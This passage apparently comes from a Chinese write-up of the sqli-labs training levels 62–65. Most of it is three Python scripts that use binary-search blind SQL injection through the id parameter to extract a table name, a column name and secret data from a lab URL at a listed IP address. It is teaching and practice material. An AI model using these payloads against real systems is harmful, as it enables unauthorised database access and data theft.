  • 在跑列名的时候,我们实际上只需要secret_XXXX这一列的列名,因此可以用limit 2,1之筛选出这个列名,甚至我们只需要跑出最后那随机的4位即可,前面的secret_是都一样的。
  • 最后在注入出数据,发现数据也是固定的24位长度。

除此之外,我前面的脚本都是采取顺序爆破的,这样更方便一点,但这里可以采用二分法来进行盲注,可以减少请求的次数。

脚本如下:

(1)表名:(已测试出表名长度为10)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = 'http://43.247.91.228:84/Less-62/'

data = ''

payloads = list(range(48,58))+list(range(65,91)) # 大写字母和数字的ascii,len=36

# payloads = list(range(48,58))+list(range(65,91))+list(range(97,123)) # 大写字母、小写字母和数字的ascii,len=62

for i in range(1,11):
low = 0
high =35
# high = 61
while high-low>1:
mid = (high + low)//2
m = payloads[mid]
payload = f"?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{m}--+"
r = requests.get(url+payload)
if 'Angelina' in r.text:
low = mid
else:
high = mid
data += chr(payloads[high])
print(data)

结果:
在这里插入图片描述

(2)列名:(只爆破最后随机的4位)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

url = 'http://43.247.91.228:84/Less-62/'

data = ''

payloads = list(range(48,58))+list(range(65,91)) # 大写字母和数字的ascii,len=36

# payloads = list(range(48,58))+list(range(65,91))+list(range(97,123)) # 大写字母、小写字母和数字的ascii,len=62

for i in range(8,12):
low = 0
high =35
# high = 61
while high-low>1:
mid = (high + low)//2
m = payloads[mid]
# payload = f"?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{m}--+"
payload = f"?id=1') and ascii(substr((select column_name from information_schema.columns where table_name='1X6T9FDAIW' limit 2,1),{i},1))>{m}--+"
r = requests.get(url+payload)
if 'Angelina' in r.text:
low = mid
else:
high = mid
data += chr(payloads[high])
print(data)

结果:
在这里插入图片描述
(3)最后的数据:(已知长度为24)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = 'http://43.247.91.228:84/Less-62/'

data = ''

# payloads = list(range(48,58))+list(range(65,91)) # 大写字母和数字的ascii,len=36

payloads = list(range(48,58))+list(range(65,91))+list(range(97,123)) # 大写字母、小写字母和数字的ascii,len=62

for i in range(1,25):
low = 0
# high =35
high = 61
while high-low>1:
mid = (high + low)//2
m = payloads[mid]
# payload = f"?id=1') and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{m}--+"
# payload = f"?id=1') and ascii(substr((select column_name from information_schema.columns where table_name='1X6T9FDAIW' limit 2,1),{i},1))>{m}--+"
payload = f"?id=1') and ascii(substr((select group_concat(secret_SQOB) from 1X6T9FDAIW),{i},1))>{m}--+"
r = requests.get(url+payload)
if 'Angelina' in r.text:
low = mid
else:
high = mid
data += chr(payloads[high])
print(data)

结果:
在这里插入图片描述

Less-63

闭合方式为:'$id',其他的与less-62相同。


Less-64

闭合方式为:(($id)),其他的与less-62相同。


Less-65

闭合方式为:("$id"),其他的与less-62相同。